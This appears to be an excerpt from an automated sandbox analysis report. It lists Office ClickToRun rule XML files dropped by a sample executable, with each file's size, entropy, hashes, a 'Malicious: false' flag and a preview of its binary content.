SHA-512:	2FC3FC4B2FF0D7F66D0D20DC22FFE05C0A571F27056A3E469A193D59DE44E2F910F637F5A439C5E3160705433AF41611BEF5D14948287D8A88AD342316560EE7
Malicious:	false
Preview:	<?xml..d.9..Y.z.;..w'....T.K...{].Oe ..C.....l..v.7..x...i...".3q..%..zuPtQ_...m.......s3V..B.Y.w.h.X<nq......v....#"..,z...JV.s.6.Q....MP~.^...........1..9:..~z..6..,.o.A.6 ..z.....~~}..c.O. dX.Wv{..{4_2...\..2.a....@B..N.....30mS.f.Z\......B...c..X...==....1.tY.pv........aP).._..`...w.s..V.+.b.B..z^.03.O^.S..}.\|.....~\|........e.!..}.V.N.Y.-..m.m..7..0....]fT...(...-\=...E.......N....&..<4. ...L..'.......m....V..r......%.Nq...!B.... .E.C=.9.B.E1..@%.."..@8.>\|..^.m.&._.=I........U.......>...n...<..@t...kKw..xg...p.4..sq.#.Z.~...x.......>..1\.7\|..+.))$.J)..f5.q...6H..U.t..,..7/"t...8<..6..Dh&q......S./F./O.9RC.o.....Y.6....c..=v...}.....&/..4....;..oc..g.FW".9^`Vp..5A........".\|I..........a{./.....O.:....We\|.....~.).0..BBv.\|YY.. ..'.._......_.......d...9..../.4.<.8...P..Jh.....3....&........Z.\|..J..&..l.'.....Y;.....va8nW......Q.j..,...7..u...0..P$3........93.O.....'f..q&......0..v.....Uod......Svj'..'^..iU.u-...F .8....x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.887267876321306
Encrypted:	false
SSDEEP:	48:fkZIuM6DKmVKS3t+LtIQu7erES9nQbSx6jWPqA7mOunwN98DhUFD:+PVYS3tr77/4QbSx6jV9BnwN98NU9
MD5:	C9924E910DCAF208E9684E93472B4AC1
SHA1:	6AAA645A02516FD17F512770E51DFD2957CE9FFE
SHA-256:	701F099DFA6FBD116E44E6427C7684B59B55F8EB1A6F94A25C49BF5119439164
SHA-512:	E88203AF3947BC81C52F70732AB585A3610F307E695A0EABD24B7C13EBD0D62157466DD414434E3752AB658F7384C474395106AF681287BF327858205A8D4667
Malicious:	false
Preview:	<?xml...u..".....R..g.:.A..S.[..@Z..p..L...k.Ks.h1..!..j.&p.B...SX..R.M~_.5..V...h&:.T..Q.. Z. ..#.[..=1.[..6T.X...JK0.)..W~j.%i=]u\B8.E......t<..,...^WZFd. c......b....H..n....zz..yR.MG.S.W.I@1....$.../..........3.I.LZ.8..^.<~.9Jw.....!~........>..3<'G~..\;. l.X.4.;......).r....4.1.`...-.C.........=#.".?.B........2.O..../_...K..L._.e=.,..~....r.)..Q."....$...U..O....X..#&1w\....<F.OD.....m~.B........&.AUS.......b.eI?.W..:G.:..#S.......Q.s...{..N(...8..`.......s0V....WY...{..%.....@~rE...M....L...J..d...di.(.x..!/...7.g\|;1t.6.P......xq.r...NO...w_..'.....Yba.Jml.L6.j R..r...+..D2.....+...OyG@k...C$\b..lg.....n.A^.h.F_...".F. ...H.M..a.Vh$.,p.S.....<.@..H.m7...D...\7.}.....ST7.K.......+..8.m....r.6_.s.<.\|.v.J...0)..K...B....^...:=......w....G[..]j.~-...C.]......K.f...K..xge;....`.....=.h.(`.O...3..e..0..y..1..OQ.A.../.....#..V.%..t.J3hZ..3.~..x~..8.e.....(B-....uH_.`[2[......a...u......\A.{ox..F....u..C.V.6.jU.....D...W.U.4..R...b.......:O.=.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8569007153301635
Encrypted:	false
SSDEEP:	48:9oAt27ZFoleoYCbEgqmbDjUJSr3QEB1FD:rU9ilBH/jUJkAY9
MD5:	678039C8FE88B0BC3B28D8F67EE392C3
SHA1:	81496F160632A6C6B8C26F4E325555674D2D3E96
SHA-256:	F9CACB75974C8ADE62D72F62AAAC81AA833490AE5260EB6487A5F3C92538C87E
SHA-512:	36CBFC45F53AC9BAD860B14B4CBA10C9F5A67A13069478B3D9278611D8576FDF7D55C0D971B4D5206B66A0052B8B25A5F88923FDB9917DBA3BA8253BB0FAF648
Malicious:	false
Preview:	<?xml..n. 7....K.-/.e6.....R...O-.$....Z^..l...Z.!....7.BN8....[+....x...6A.{x<.kCk._..zH.x..(Cc.=...B.t..5;.qm.A8,>.X.g .L}..C..h%.......X...<..:..a.d.....R...cW.YP.2.P..J.:.....t.G.Q.5.%..z.E......y4-`.1_.hP...I...MK..~.q:wm.!...Q.Vl.6..W...E>m..6.8G.............kl.2....w...Q.1.....R/....k..s.zr....~~^_K..r.9...1%.,.kO.).f2..daan5..d./X.n.?q"T.h.,..6.b.j\|.zK...f%~.X.J.am'UD.p......>s4.~e\|&..>...@.B!..t.!.R..( ..._.c...$.E..H....?.f..r...mG....F.N%....z.m..ce..ig...xK-....e.G.O.d."2[...-z7g.Tr7....F.LR..B....H......>u..i..DJ...../.4..B.J..."..Z.n..k.E.~..).....2.>......o.Q#`}3.).8^.#......u.L+@UG@...%..;t"dn.`A'&n...&_.(...,..P........s5...z...>mgq..Z..J.i<....'m.6....@.k.i.....m^. .W.%.s....E.;.t1..3....q...6dr...E.l... #>7......uu....h7wS<.<.6."<G...U.,C.-....V..rg.:s..A.E..H.xA....6..e...j.aa..jAA...l.......,.M......r(..K..+c...R..~Nhr&).C.2..Vs0iA.../M..`.W.(.+=[.)l.?..Gw.4....M....U....YDY....z.^.sn..m...7.c.`bD..Y4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882404477850471
Encrypted:	false
SSDEEP:	24:yZ9WenGT0IpO81zzeh5KwLFNDKaeqmPJ82qoSDYo57tmidHVZp2HPFsVbD:qGoIqLbDbehBwoMRtDdHVZIvyFD
MD5:	2B95704611BB0597B40BF34582DCA0FA
SHA1:	FB2A3344ED61D96EEE19FF1188815FB849E872DF
SHA-256:	FF1C4B0134AA46FDCE57277528BA52E3B7A1B3A57BDE85E361B6C77A281A140B
SHA-512:	B66F7F3A56AE96A7BDA536F220BD04E2CAAAA890BC0A3233ACDBF24E5C3771E6A2932016C8C42B1D93DEB1D5C61A4037BB78EAC15C64A1AFF154303DF197827B
Malicious:	false
Preview:	<?xml!5Qy..M/&.......A..@.'.....o...m.F.A..@$.......&..........<......Q-!..FX..K...L..[.O.N{...AR.;-..@..U.3E..J.^.rOE;B...C.}dp.5z.NIi............D.b ....6..../}..m.Q....#...+..o.=.!........C....O..t.It4.f..._..#.P;).Ea.YB(.mMq.b.R..Wz.\.../z...).ex.nq...WA..!.j.....$."...ND.y......f.........o.$I.?....:.6..........J.g...!Rc..3.sTe/[.7.R......tH..g.i.../c....f\|.5..m.DJ9p..[>.cp...w.....3...@M..\..`.....@..#...x5..?..r_a.Y.........#L@....j.........h.;..}[pa.S].S..f'.x.jCI.6.^.q.YR8....3[.lh.. .0..h.D.RQJ..D.T.pb....5./V.Q..W.?..&[.".=.)..<v.N......j.....V...&..P...U.....8{...........y.W=.....S.......c%..J.2=..@..H.~...gd..3c.\$k..P..H.d..dJ...N..R.2L......W...}.nf!\|.Z....;.?..C..C*nsm..o...t....@.W.6i..U..r.....AND}%....2?./,..E.D.\.`..t..2G=..^.;1-.j..\|..Qng.S.\5...Bq.!...(....D...5u=....v...A-....2GS....~..m(7...!.K^..L.W...3PR...[(./!...........H..V....m#.z..w./.zX..A.U~=-.T._S.S=g..LA.......X.....!7 ..0..0...6g.......U.d.].E.".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8663004417982885
Encrypted:	false
SSDEEP:	48:AM8ILNTuXOQnaQUUsXUMwGU8RIKpyQRpBJCFD:U+ZuXtnaQoEdGYnKpK9
MD5:	83FD6F1EFCA2BB092239AE026F42111B
SHA1:	15BE80EA59215C949FCD4A51F7763186C7AD0545
SHA-256:	A1A9E05DE649E4C512D457CE90CC1E03C39509AF49E2475D6DC70FD628C0803C
SHA-512:	956AD90CAFAD70022E00C769C3269ACC294E424D61E2D6EF98BE26C72354D212CA1AAE01AEBDCA278C365254392323D3D7EEEC536C482F63B960D90942903C62
Malicious:	false
Preview:	<?xml}........E...,..Y.....k..9.......TA.oS.=b...P"..J...RlT=.{..X.u...].W`.@...Y2.....!F..y..5.`G^. .W...r...$. ..dBy.!.8Q.......)h-LW]..g....~d.i..k?.8.+..c"5=.. j_9}1.....w.E4.M.+V.A4.f.m}..$......#..\|..$r...%..;..A.W.$0...r."..,.tF..A..F0...MMyr.b....f.....61.:.&...wr`^..R.I...Co.,c...`..~.h...9w....p..I.H..P.).x!.4..j..........eq.\|..TP.H/J7.}...T./....N.y....W.S,.3../e..H.f...Y..5..f..M9...hY="E.3sU......a.6?....z.V"..G......5.0~l;..T..&...)4c..\.p......F..B..........T,F..Q.B...Y)?T#.i.N.8..i6.H...8L!...0.?QE..w.b_.....3.cx......b.R..W..0.......K.S....zy4+ws...R....L......7Y'...l.....\..m........s../%.Y.kW.._......k.G....."..(...-A..m........?p.t.=..M..pI..cZ........P#f.@.w8../......R...MWY.....\.=c..5.@.8..?.....g%aX.w..J/w...f.y.1.....4..jG:../...vF.h.t..f...L%...,.<....e.U...C...^.em...m.r.....BF.6..d.1\\|._..... ...=..-..#..oz=t.4..r.3b...;.HL=G.YSg...U...IT...R....WR... ...~2.e..G...{ioo.Ok."W!..>.A.e.>...1..b.YI..[.fGo]2A..#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.888014711300253
Encrypted:	false
SSDEEP:	24:h9RSuVSDiNLNmB32ZwVP9Biz51MeFghTH8H1GUEaiCycdH0yPgItVZ1JXVbD:hLl3Ngy096w7hUElCdHroU7FD
MD5:	E1A66ACE5EBA7A4C52620F14435FB376
SHA1:	C82DE619D7CD08D30993E5986C6A7F172164463D
SHA-256:	D3D49436D6BBAA953BB49EC0DCEAE7267BBC5E856A880163CD10656F82A37345
SHA-512:	8192ECED87BD34E3CB62C48078E8AFD4891A6357CAAEAD7021E8FCC572ECAFF9572FBF6B7D0820C91AA5C51048CD71165FF5FB5314FDEC90734EFA1B4F35787F
Malicious:	false
Preview:	<?xml?..j..z...\.........3D..m...l.._e=..&.NwFM.abt........ge9D./.....!\|9..2.E...&.v.\|TA..1..HT>........>h]<..\|..K.}..!K{..S...L ..P.Fy<...pFl"......H..i.X~s...[h.....pb.N..n.%]&U.)...R...P.%...p.c.".r..)}8.&...(..".U........v.q...&....z.U.i....+.{...wI...^....u.$.).".............V..o#g...[....["z....7B.^..[...h.p..{9bY..I...\|..TU..2...{..@.....Z...C=............T..[..w.3........!.........fK]..u6./H.^.%..t.E.Y..%=...zf.,..4...in.......:g...B\|.j..Y.4N......f...^.QZ..yEn..SC.c.{...]...\t. .1.+.....n.:u!.J.'7/q.....-;....H.p..+......`e.Yd.b..t.x.M.7.qWJ....iB.D...B.N.2.m.$..u.#.D^:.\|...u^...>.:?.H.L..n..Kg..)....aHG9..zV\|/;..L.....y.i<.TB..T...td.@}... ...q...n4Uryl.V.)!Vz......w.(.9.....AP\|!.g........k.0..Z..@~`O7.....,..Y.9=Sz...-.......>y`L...............<..>..^..!....c...-3./....E.x.fJ..T..,..g..zFHm..m....+.u...c........:.)Y......./...{Lf..l.WP.w.U.../...A.A...l.E.\k..P ..H._B....ilu.......B.3...o.6..S.tl...Z.^........#O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.882349491353241
Encrypted:	false
SSDEEP:	48:1H3bRfyRq8eKIk+rlFOhPAI9jwzLcdf8FOxGFD:1HrdCqprONjdEg89
MD5:	62B0857E74F2B4A9C591C7BA50C6B0C4
SHA1:	9CAFBA9CC12BA1F4F10D4762D7E64B7D35D8BCCC
SHA-256:	68924FC669B052A191D2E7B024C48223089A212C2D22BA6A8079975CD383EABD
SHA-512:	060BA469408FF7D4EEB7AD7AC430D414870CA6030AE2001B7154CF6145C47E611C0892B9809CD5A50DB709DEAED9456CAD6185C4FFB1380776FC47AE222F64CE
Malicious:	false
Preview:	<?xml.5L..ct...k....Fg....?A...'7E.....GOi3Y......u\0b.......P.....c...".!mP.......w.g...8..y.k.v.......EP0.>.Qq\|.H_/.....\.;.nF\.`y.DJ.../...~y..t+T.+...6#..L<...i....{..j......D....?...P...m..q.s...q.../.}3<R..}....&.&..:.i...........\|..wl....i.F.}.a.c.Ni...I..EA=...vz>8..&....W{.>.....{..t.&..T.K..My...h.O.x.&...F....ly.]......."f.gb..2@.:.S.Ku..3...d..8.r.V.U..x.1S....b......U6..&....=9.<......(#...o.6....."bj......n...Z..A>.../.... r....'..Cwt.%......K.<...a.t.T.h!K..r~.D...{HJ^^..wJH.TYGz0<...t...Q.W.>...i...y....$nRTQ~...@.cr.....a..9;to..=.......>..}.f..-....i.<l.S...h. cA.;$..{8..gX.W..........D....fx7~..X6N....6....\|...4....$.j..)...t.wSN.0I.St.}.g........s...&.....).........'.mN......j8i0;=Fo....2.y.........uMY.Q.....Bu;........../".!..9.A..%.f..\|He..R."...Tn.Y..lqO.,z...K.'.C5...=A.R...m.0...-....%uA..U...0.zo.G.-..4P..&.R.%..0..[..."...y..wX...(t...5..s.\ZP.s,..(.T=r.s=...Y...9.....e&...j..v<*.L.v..W..n.....Lu....uV.v..}......a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.902093879005413
Encrypted:	false
SSDEEP:	48:IrSHtm1y6op6R47hnp4LoIYwPeGigFjuAf7co7vDJjFD:IrOtqH8pmY1eFjffYoLlj9
MD5:	1736332148DF9F8591804A3C40658BCC
SHA1:	24D5BFB2B824506D79FCABFF5C2D36C8FDFB8E54
SHA-256:	5F688E50A79F863DF153174F328024E2448466B6410377581A151691449EDB81
SHA-512:	91660DFE77DD716F16B76155C82CB0BB074E5FEB3FDBF4BFD8972DA72D04CB70BB7A64946EF4DF498F4F2E8C7E7531723F06C5765FE9D26B2CB14165B629A0ED
Malicious:	false
Preview:	<?xml.C.'..G#.=.........;.....U.T......z..uK.\.........x..xe.,..8..tx.>..ge....'s...J^.p....s..@......F...2K..B...LQ.R.0D)..L7.l.6[.J...i.=...9i.8.p,y..zYz.I$...t.t].......z..{..&h.J.....#.....V0...%.....$...](.!.._..7...3......O..m.s.Q@t"..0..&&G ]..i]PI.....8.uz....p.......&.s ..>....l..Oj...j..f;..3.P...<:.7.b......=B.TQ.<..&RBpQ....k..w.R9U.^x..........IR..l.y.._....s..G....c_..X...p....>.....D.X..F..;O.3eR6.{aO.b...!Q.%y.;.w......A...[...nsY....:.C.(..:5X.U7o...\....\.6x.VL....^.....L.QZ..Ae....ai<.tR.`..e..q.j..V.R.nlw(.....W................Z.S.]..^....v.!...W....r...J.<..'-vw..)Dr.y..7!Z.4..=..K.(d.$S...r.1%..^EaNW..h...4....J}.....Kxs0..).V..h[..K.I)..Rb..6....>%s..7..g.F..Z..bN........Esu.-l..9.....=C..g)S....j...S...)0.AH...^/..Q.:.....G....U....D]...._.....I$..5.$L......~...T?..W.<.1Zkf.G....5.\xT....r...c.....Q..}..kD.....2d....$qv....$..........6.....i....d9.^.....d;&A...d2....h.....u..l.*X.obo...{8....r..}...]......m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.893757636418207
Encrypted:	false
SSDEEP:	48:F66+5FhNOLwOXFEYy/CKAzMqmc7hliMb1NZrihTZgZtiUCFD:FQXhNOMOVEYXphmcrvb16hiZtJC9
MD5:	EDB431A53C6A9C7B0C30F86523DF1B23
SHA1:	1C68B7759C7B62451C37D14A5F3D163C145208CC
SHA-256:	E8DA0FB905E5CAA323E2AF31201A09BBE6609FC3A541EC77F6D887F4F2C9D97D
SHA-512:	7D93296B26572B8E4D54E2E83BE91DC39EE938DA62B3208920DEBFB389D5BA4CF600E8C294DFC8C890BE8EEE465148DA12E6E1F5B8928B483ABCBFE46CB252A0
Malicious:	false
Preview:	<?xml.%..s......dp...l...t.........;.?.J..%.A...3.T..>...L.'PJ.@...p?.!Y....G..M........a...&.. .(...x.o.)/._........../.s.Vy[...K....1.AV..=.....@Q.O.z.j....u f.&Zka.%.....H.Oe..,l$..p.Z...0=..........q...xNy .........mq+..J...C.....M.. .5...(..m...G....Z..1Y.Wd.7)..<,1qa...u....[C.\|.c...c...}....Z....`3A.A.zlX.....m.\|B.`.'.",....p..a....#......B.[n.{.u.....un[.v.Dz....q.G...6...c.Q......Io....;V{...1.$.T=..h..Z.k&.....A.U.hh.!....J.q.....YZ.........?z.g..:...j.k..>..-u{.j..f..q.O.......v?.D.s..<...J..d.g\|.}.yi.t{?.\|.b&6.\|.o<...z.v..a..A .Tg(......2...+...q.cg..".O%......>...._....1.@..@.V..:..t....n?......1..2.s....I...3>5J..L....f:.Mf.p.';...v.....T..4.../.~2qK.........\..,.^.j...G8....`..q.......^g{....S...o....U...h.~.....y....zo5l.]..#iv...._.....F.Iu....M.S..rH>.EX...6yp.d..D..1..Q..an8..3h.u..4..e.>.?.....R...K..s.....&^-.....3....X....N..#YW...,..m8p....ur...3..!..........U*.CO:.....Q...x/I.x..}K..]D......<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.852816916978979
Encrypted:	false
SSDEEP:	48:ECBsr6bltMVnfoyYByZ28p9IrzJTDdzeJJLbagMJm8FD:ECBsr6h3yYEp6FDAnLLY9
MD5:	6E84CCD94A877291FAAD210D8A331CA0
SHA1:	CDDC8EA57D53B590A60EB775DF79676348D94FCC
SHA-256:	0A9FE32341E5AC52A377F231828FD3C0EFD6EE4C96FEB094D882EE47D12D3B59
SHA-512:	3424D7364EFEE86A12E3FDB9514C1A7516EC6E3EE14660785A69FDCD3F6398448D2CEE3A954817538AC21208A0F60147C13CAF1A3E9608E67B5835414B464F7E
Malicious:	false
Preview:	<?xml\5....="..............I\....`.J..K..{.8.6Z....q.8.....D..7t...b..K....9.Y.n.E>s.../....(t.g.S-..fV...\7.WD.>...H......;.1..:..I.#O........l.5.Z....A.r.k..V}.<1C.O._....._......6....z.1{..1hP..t9EG.pS....O.Kq..Bwgorr....&.%n?qG..a..!\.).....A........Rqo.....v.y...xX...../.!....%d..E.C(...s.V...o..i...wE.'..G..H.yt.....f....2...\C.G...:.a....gK.)O...-k..Mk......x.95...H.HY..kp...{..RZ4.....C..d<..Qk..P.....+...v....!.:.3.^[Z..a.Nl.c..6.K3.lM.P.c./O{...f.U.>...^R.....\.H\&..1.w....&m..."...?..V5..k..pr....L.\|.v..6..s.{l...)w..T.C..{..e...?....u...G...c..;.'._N.~t....:..9..l.Z<..av\3.B]Q..8)..#...%...P..CA.R.h....a7...?..Z.?..O.7Py.e.3.V.$..=.j..Q.H.opxk...h.....J'...@v)[............g%.B-.J..=..Y.K0.............o...W>....Q......]...k..".0.k.h$..;.\.4.E..9..s.X........0D.761.$....M.Df..$..:dk1R.f........G...l..-f.!..%.cP.8.6.uPV"..(....SR...lnx.VV..#0...)].....:...<.......Go....p.bD....Ik..P....#.WT3...z.C.z..AI....@..y..i.71..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513135527459495
Encrypted:	false
SSDEEP:	3072:BbWVv66GJUcxBJ5nAjdvk0yMGp6eWQmMuQ2QgBdTtCqeWUyNjVS28:BaC5JNLAxVg6e3ZAz3TBNS
MD5:	AD40741E32781A06E82E1A726CD62D93
SHA1:	4F1D4CF525C40E2D43D9F95505E615089E9C1698
SHA-256:	39F2D33287320CAB5D606080A40C174C46852E15B312D977C73EDD337EC73A3B
SHA-512:	2A22EDDE6C3FDF1F05FCE2AB4FC44490AD8E1516054309020DADB4F97FEA3230F076BE37DF039B494A910A2A2C777ACD5B4D42A58EF46174AD5BA3EEDA263173
Malicious:	false
Preview:	<Rule .@...].\..x@I.s....P.,.....n.c..-.C.wp]t\|..nq...o........K...w..#....?J..%......>......fJ.Ss..N...#.x.{.T.k.VM.yg._iE.w..=:.z`.,..l.....h.7..oW.2W.c$4..18.<a.d5._.....\8...r....[.....ZRX.i..U.G..u.o...a..D..M......s.#...zb.Zb.{.f...;..ERD.X.~&....=:..T.o.r.jA.~.0....m_D._....z..4..." ....d1..l".u3t.O)....1d......K.....:..W5t..(..&v..N....G.U&..8...d...o.UNa..h. .L. e`...0f.9:...4V]sN...I.8=.m.9'.~./..] .._..``_H......V.1.b.R.....OU[QX...Ws.j..1.v..u..q0[3=....bDT....K..~z..J..Q8.G...5p.".....5.}. +.6.r....D..X...]..5...?.NO..2.-....~.......o..y.....d.C..e..-.t.....a(...U6.... ..Fx.....~T.5..%.P..U'....q!....'4.-1.Y/z^.+\|.-...O.SG#...c..0....2.)..%W...0+......B.gg..I.V....q:8.:........j..m...4:..[..c...zi.g.q;............j;8.6I......K.}.^......J..a.(8X.=.....RF.<I....Q...-3td...oH...U.Mc..../W....'G.k.sD8b.[.*Q.SN...1d.W...y......l]P`.}M.7.....@...0w,.qXE+.Q6...p._....P2.p..Q_l.=3...Az@....\@DC1.a.fe......-.T.N._4..z.m...6.<..!..!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.9024776687782525
Encrypted:	false
SSDEEP:	48:HDjDQCmKrX49BraUkHgfw6G1FMFMrSopjEFD:HD/QBKM9dZkHgXejRE9
MD5:	DDB492CABCDB33E184FB15FB11A4884A
SHA1:	E59463FCBBD8361A7D9039F1318013D075A623FB
SHA-256:	5DA77D3AE0E5B77460CE2CA598A4BCD11D1AFC8C889BD3E2DFD4715C9E07A5A4
SHA-512:	B8DEF54A3EE5CD45AB07FCE42759083DD8308A7646ECD1F0FB3EC5E039529BD0215FCDB87DC2CABB883A6787C4E3D67C55D4434F050BF5043BDBE107C6B2A0AC
Malicious:	false
Preview:	<?xml....a.\.....U,W.-...'..q./..._...i..k.....>.XH#.P,R.ra.G.....4.$..?.zdV.R.$....Mh...r...d,O.L....me.;r...:).sr........)._...)U..7..(F..y...Qs. .n.......~q.......0....m..?...A.`<....R...3....nh...M..H..a..h.Z+^.aFS..<^...m...^7._..5s.....&.~.6...E..@.'..l.z......#}.+..:...H5_...L..x....?<.cN.{hJ..uw... m:f(;V...+z.V....).b.WY..9].......y..npRp1..,=i.-..~.W3..BDE+..!MCA.}..V..s....\|E&N".<O8t2.......)Y.N/.HP..8~h;V...wBU .34..8..e.yn$......j.......&Rtc........u:...'?.[...M...@..\|....g.~p..k...d..`...l.n.o..l.2....Z..t...n.]O...Wl...S............F..4;.t*.....~...'...-~.._..\|.U.W.C...7..\|e.#..m....c.`...W%.{.>'.UL..twU!.....g6.e.._ .+&.L.~..Y.I...A.%v....mVMO.............n..<P...r.\|.\|..HmQ.X@upI..j..3A...u..;l.rD.....E..}....p^-].D.Z..r.....F.b. \|..J..J.....`R.T<.&...x.).../...5...d..4.l.......F'...pc.T..../\|.......Z.`[..!+.&h<V. !X.....pk...L..a.c..Od....3C:w.uyd<..(...Xq........:.0.e\d-..\.P`.%.5IB-c}..m....`.o....e...RTI....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.867448753957271
Encrypted:	false
SSDEEP:	24:IAi8FgBVQJVYEN5WJ9Mjun7IXc+IxDCttoEW7BEtp63g+XRUPfzqtzVbD:ByVQnYE47IXctxsoVBDRasFD
MD5:	22C3F04C906B2A017F168E0854B15136
SHA1:	79407E25DEF8D5256320AEFA237F3E17F0FD1F5B
SHA-256:	E0B377FA87EE0FFB9EE0751D2F1FAA47DA3CC261E876F70C7C569EBE560463C3
SHA-512:	5FDCAE14C3103755D5DABA4547F531FF555BF6316FCFD7D7B5471B07CC46FCDF11F5A11963D6AD65FD20B275BD150657740388FD756256829F0CD3124FE0D9A3
Malicious:	false
Preview:	<?xml.......M...&?j.r)K.QG,.K.GS...6.......s.....5.\|B..%.....n..OX..R...i..R.....k=F.f..n......$..`..L.q.H2.X$...8...R+.).F.e..,...n.....4..?...8..K...f..(0.}.hj.0.%.V.....F.\|qo..G.l.k....a...(.q.........."M.\|...U.A.3..pP..Cq.X=.m.z.4.....}<.Q.. @..R.......A<8E.g..x}...j..n........tc........y.4....w....'..X........j...=t.%W@]..[.N7.I......m=....=.,t0.r...,.u7.8U.r.n.T-.s.I...z4~4/B...TB........}....O.~...`...i..DD...?..........0..9M....:..4.N..\h....'.:b....g..`$_.2....n.j;...H..x.P..U.WQ5....n..".......!,1..$..n........l.\.E..2.l.e_..%T..\..5.sK.B.c........4.....^...fm..1.N1.5...N..O..~c..5?..W\. O..k....-h.....f..'].a....'.j......5.;N...4........`g.(...W<..P<C..O>.IhG{3..)...9..Z.%..Y.LL~...MoUs&..5..H..R.P.. ....g.?T..\.#]E.M..\.....]....a.l..G...}VkX..?r..F...I......i!...#.t....5.rwL{.j.<..@j.(.nE...D.8%...4Z...V...$.......Kg....\..6X.e.....u.R...-........iv....S-..48.....l..+WM.{.b..c.....j\|h...."....5....?I..V..5.N.Z.Q.-'g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.945395662324052
Encrypted:	false
SSDEEP:	48:ueMh0ShBfElVOnJ1HKitH548I4uyNar7XezApREsEDC9Hn06xbvJyIY2TvTBtFD:uph0Sn+61/0bRXezmEDQHrxNt37Bt9
MD5:	939F746269BACEC02090C899302A9BCB
SHA1:	1EC8A990B628C790EA778AD3168930E72A1E43ED
SHA-256:	57E70B9FC48F69FBC9FBC1DDCB4B6A6373B8EBEEF68B6EBADBC5AEA6E41E4DC3
SHA-512:	4E7A9B91D3886E4EEB76956FEC0117304A67C4C1AAB3285BDC638DD7B1AC43C3148CD0C1FA1AC4275CD45223F72DBD5FA6E1B796D6EEA90C9A48202FF91F1F1D
Malicious:	false
Preview:	<?xml...sYJ.1.^e....Q.......j.~r.9.o"./.....M"c.x..W.]..y...G..u.A.7h4X...T.b......S.U....w{byDt'a..BE....JE...p/.k0,..,j.."..}..?`M...G.R.......&../.....wF<..a..'4N..xy...K!.lxsN.....(.T]...B....U....].P.r......).).....~L{......`~;.g..;.%.zj)..Qf..............o._..w..y..V..^..$.L.9L......".h....Mq(.._R........\|[dy........X.[t.QJ..d........-K.a~0....?sf...p(......SY.#...7\`..}.{..HOM.....o......D.P..w\|...ai8.....q.r..... t.....$A3s.........c$H...,..F....\|.../.......`.@.P.$.?i.._E&hT..w.^...,./y.<.._.[.9Di..w.....N..+c}.K....WZ$.U....pE_?N}..1v...;d\...h.E.Fb\|.E<$.5\|X.....Q";........V+.c..#..}.._.I#f..'.k..2RnB.CHz.#r..%.W.*...j.B....\u....n1.....v.a.5\|..r=.us.......{+...T....u.R...}......S#+4^#..'............$.W.^7a.....Z..j...h80.u.........K..>.hvDl.P.B>.xq..t.T}...ps..].....gP.c......h..O...........>Wi#B &1{[.."J..t......I...e.'.(..H.0y....xH.?1f.A.u.!.l.)un....:e)..z....F.F..L...;T.b..P"{..:^..Z^?O........q.I.Y.e...Q..).>-..=..s...f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.896885406773507
Encrypted:	false
SSDEEP:	48:PwjurGK0s0ok4YS0FXorGOmtcIGq8kzFD:Pw+A4YS0FX0GOmtr8m9
MD5:	8F2A3CAF3B3356211281179102B2BA6B
SHA1:	D3A32B9C2EC5162EE581053B8DFF0D61EA1CF51B
SHA-256:	90FB5F651CF3CC188679273041C64457C51FD2014DD3AF69FAFFD19FCA966CDD
